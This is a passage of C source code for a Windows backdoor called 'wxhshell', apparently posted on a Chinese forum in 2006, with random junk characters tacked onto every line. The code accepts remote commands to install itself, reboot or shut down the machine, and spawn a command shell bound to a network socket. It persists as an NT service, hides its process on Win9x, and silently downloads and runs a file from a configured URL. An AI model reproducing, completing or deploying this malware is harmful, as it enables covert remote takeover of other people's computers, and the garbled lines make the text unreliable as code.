  // 帮助 Jlp nR#@  
  case '?': { Sf*1Z~P|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V#X#rDfJZ  
    break; UahsX  
  } ;n,xu0/  
  // 安装 mqj]=Fq*  
  case 'i': { BSH2Kq  
    if(Install()) *T6*Nxs0k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ci 4K Nv;  
    else ~aPe?{yIUa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )DB\du   
    break; L:j3  
    } \uPyvA =  
  // 卸载 %(&$CmS@  
  case 'r': { CKI.\o  
    if(Uninstall()) uM)#T*(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Znw3P|>B  
    else 8+i=u" <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fHK.q({Qc  
    break; &R5zt]4d&  
    } rMWJ  
  // 显示 wxhshell 所在路径 .Ht;xq  
  case 'p': { }#r awVe=  
    char svExeFile[MAX_PATH]; {x{~%)-  
    strcpy(svExeFile,"\n\r"); :%_\!FvS  
      strcat(svExeFile,ExeFile); Gsn$r(m{K  
        send(wsh,svExeFile,strlen(svExeFile),0); p<[MU4  
    break; ) >te|@}o  
    } j)ME%17  
  // 重启 JR_%v=n~x  
  case 'b': { E$.fAIt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UpaF>,kM  
    if(Boot(REBOOT)) QUeuN?3X\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .af+h<RG4$  
    else { 12VIP-ABK  
    closesocket(wsh); r=-b@U.fk>  
    ExitThread(0); Ptm=c6H('  
    } iD*21c<kd  
    break; .(RZ&*4  
    }  .0YcB  
  // 关机 dBw7l}  
  case 'd': { |yl,7m/B-G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ''dS {nQs  
    if(Boot(SHUTDOWN)) =MU(!`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ur?i{S,  
    else { H +' 6*akV  
    closesocket(wsh); ]"/SU6#4:  
    ExitThread(0); E+ctiVL  
    } B"YN+So  
    break; nW)?cQ I  
    } A+|bJ>q  
  // 获取shell dGglt Y  
  case 's': { 8WE@ X)e  
    CmdShell(wsh); +T\<oj%}2  
    closesocket(wsh); ,wf:Fr  
    ExitThread(0); STl8h}C  
    break; #_eXybUV  
  } L{&>,ww  
  // 退出 AJ+\Qs(0  
  case 'x': { wBDHhXi0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0!-'4+"  
    CloseIt(wsh); 2vTO>*t  
    break; Q r\eT}  
    } 9a[1s|>w-  
  // 离开 _@i-?Q  
  case 'q': { Wv|CJN;4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); denxcDFu/~  
    closesocket(wsh); o}DR p4;Ka  
    WSACleanup(); DKJ_g.]X  
    exit(1); c2t`i  
    break;  v%$l(  
        } 6cd!;Ca  
  } |sI@m@  
  } No"i6R+  
ul3~!9F5F  
  // 提示信息 Tw djBMte  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 :WN@  
} vf zC2  
  } Nyt*mbd5 {  
~j>yQ%[v  
  return; [;yKbw!C  
} {+zG.1o^  
V:#rY5X  
// shell模块句柄 gg.]\#3g  
int CmdShell(SOCKET sock) & #JYh=#  
{ <THw l/a  
STARTUPINFO si; 6fo\ z2  
ZeroMemory(&si,sizeof(si)); @  R[K8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~n8UN<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #1%ahPhR+  
PROCESS_INFORMATION ProcessInfo; RP$h;0EQG  
char cmdline[]="cmd"; A@Q6}ESD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Td,d9M  
  return 0; 4qQE9f xdY  
} s >:gL,%c  
/Yb8= eM  
// 自身启动模式 tmOy"mq67  
int StartFromService(void) !KJA)znx;(  
{ `v@Z|rv,  
typedef struct X&HYWH'@,  
{ - . o,bg  
  DWORD ExitStatus; Fm=jgt3wv8  
  DWORD PebBaseAddress; ia3Q1 9r  
  DWORD AffinityMask; :1Nc6G  
  DWORD BasePriority; etT9}RbQ  
  ULONG UniqueProcessId; \?oT.z5VG&  
  ULONG InheritedFromUniqueProcessId; z Ohv>a  
}   PROCESS_BASIC_INFORMATION;  71@kIJI  
CcW3o"=4  
PROCNTQSIP NtQueryInformationProcess; A +=#  
VH4wsEH]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z{&Av  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZJW8S  
uB^"A ;0v  
  HANDLE             hProcess; %19~9Tw  
  PROCESS_BASIC_INFORMATION pbi;  pdm(7^  
,}\LC;31,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^SsdM#E  
  if(NULL == hInst ) return 0; U# [T!E  
[<5/s$,i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yZ 7)|j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vpp$yM&?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dH.Fb/7f  
G62;p#  
  if (!NtQueryInformationProcess) return 0; >?OUs>}3y2  
Op8Gj  `  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6eUGE4NF(  
  if(!hProcess) return 0; M*bsA/Z  
Y[vP]7-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2+I5VPf  
[u;(4sa}  
  CloseHandle(hProcess); +,,dsL  
.wp[uLE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cLp_\\  
if(hProcess==NULL) return 0; 5 =8v\q?)c  
t\LE\[XM>  
HMODULE hMod; 50dN~(;p  
char procName[255]; IP$eJL[&D"  
unsigned long cbNeeded; 5L<A7^j  
Xp| 4WM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ob8}v*s  
b:'8_jL  
  CloseHandle(hProcess); (1q(6!  
ftcLP  
if(strstr(procName,"services")) return 1; // 以服务启动 *Gv:N6  
n:B){'S  
  return 0; // 注册表启动 A W6B[  
} <mki@{;|  
@{{L1[~:0  
// 主模块 WV'u}-v^  
int StartWxhshell(LPSTR lpCmdLine) :CezkD&  
{ Z2@e~&L  
  SOCKET wsl; 6w? GeJ  
BOOL val=TRUE; 'hPW#*#W<  
  int port=0; g]JRAM  
  struct sockaddr_in door; 8RuW[T?  
GOGS"q  
  if(wscfg.ws_autoins) Install(); X^dasU{*  
0sA`})Dk  
port=atoi(lpCmdLine); E+EcXf  
Ek_&E7  
if(port<=0) port=wscfg.ws_port; \1&4wzT  
k&:q|[N  
  WSADATA data; @aN~97 H\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k"%JyO8Y  
Nt]nwae>A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AX&Emz-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GIkeZV{4}  
  door.sin_family = AF_INET; Ct?xTFb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uPbdzUk$  
  door.sin_port = htons(port); wSCI?  
+w(6#R8u5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \!jz1`]&{  
closesocket(wsl); 901 5PEO  
return 1; TD*AFR3Oz  
} ^tSwAanP\  
?D7zty+}^  
  if(listen(wsl,2) == INVALID_SOCKET) { q)o;iR  
closesocket(wsl); x4>"m(&%  
return 1; (e~9T MY  
} |OAiHSW"V  
  Wxhshell(wsl); BMQ4i&kF|  
  WSACleanup(); ~N}Zr$D  
4,W,E4 7  
return 0; x5xMr.vm  
Pzd!"Gl9  
} rNicg]:\x  
">_|!B&wb^  
// 以NT服务方式启动 l&e{GHz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O(-6Zqk8Q  
{ 6:8Nz   
DWORD   status = 0; >'=9sCi  
  DWORD   specificError = 0xfffffff; %Qb}z@>fJk  
D3,)H%5.y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jTNt!2 :B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZwY mR=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yK9EHJ$  
  serviceStatus.dwWin32ExitCode     = 0; E_$nsM8?  
  serviceStatus.dwServiceSpecificExitCode = 0; ~ArRD-_t  
  serviceStatus.dwCheckPoint       = 0; a%a0/!U[  
  serviceStatus.dwWaitHint       = 0; >dgq2ok!u  
ar 7.O;e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _qk&W_u  
  if (hServiceStatusHandle==0) return; \(=xc2  
G\5Bdo1g  
status = GetLastError(); |;(P+Q4lB  
  if (status!=NO_ERROR) uVhzJu.  
{ {/N8[?zML  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ge%QbU1J  
    serviceStatus.dwCheckPoint       = 0; 4Ozcs'}  
    serviceStatus.dwWaitHint       = 0; DzA'MX  
    serviceStatus.dwWin32ExitCode     = status; htrtiJ1  
    serviceStatus.dwServiceSpecificExitCode = specificError; eJn_gKWb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K?e16;   
    return; [~cz| C#  
  } e2tru_#  
?IS[2 v$   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +_vf=d  
  serviceStatus.dwCheckPoint       = 0; ?G7*^y&Q  
  serviceStatus.dwWaitHint       = 0; @c"s6h&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c;(Fz^&_  
} 5kWzD'!^  
M&q~e@P  
// 处理NT服务事件,比如:启动、停止 @].!}tz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @p/"]zf  
{ k#~oagW_Gw  
switch(fdwControl) AY"wEyNU  
{ sK9RViqF\  
case SERVICE_CONTROL_STOP: FqGMHM\J  
  serviceStatus.dwWin32ExitCode = 0; )MTf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9m_~Zs}Z  
  serviceStatus.dwCheckPoint   = 0; nQ|($V1?W  
  serviceStatus.dwWaitHint     = 0; [euR<i*I#  
  { xe(7q1   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l O*  
  } %|:j=/_  
  return;   < /5  
case SERVICE_CONTROL_PAUSE: ?dv-`)S&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mea} 9]c  
  break; @x A^F%(  
case SERVICE_CONTROL_CONTINUE: :yi} CM4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q3$DX, 8?  
  break; lfd-!(tXD  
case SERVICE_CONTROL_INTERROGATE: v$JW7CKA  
  break; v+trHdSBYE  
}; t;PG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8'qlg|{!~  
} j"pyK@v2B  
5! +{JTXa  
// 标准应用程序主函数 .V}bfd[k$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =;Co0Q`  
{ XhWo~zh"  
BG.8 q4[  
// 获取操作系统版本 \Nf#{  
OsIsNt=GetOsVer(); r58<A'#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3m-g-  
{%P 2.:  
  // 从命令行安装 pXBh^  
  if(strpbrk(lpCmdLine,"iI")) Install(); agruS'c g  
`(P71T  
  // 下载执行文件 *:un+k  
if(wscfg.ws_downexe) { *<[\|L:#]Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UQYHR+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Slv:CM M  
} `)KGajB  
ea`6J  
if(!OsIsNt) { ,z`D}< 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 <}c7E3Uc  
HideProc(); &%)F5PT  
StartWxhshell(lpCmdLine); XN?my@_HpM  
} :P%?!'M  
else 8r@GoG>  
  if(StartFromService()) rFm?Bu  
  // 以服务方式启动 c(b`eUOO  
  StartServiceCtrlDispatcher(DispatchTable); r~oUln<[  
else -ULgVGYKK  
  // 普通方式启动 ![vy{U.:`  
  StartWxhshell(lpCmdLine); Qgf|obrEi6  
U,fPG/9  
return 0; q@VIFmqY!  
}
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只看该作者 1 发表于: 2006-10-10
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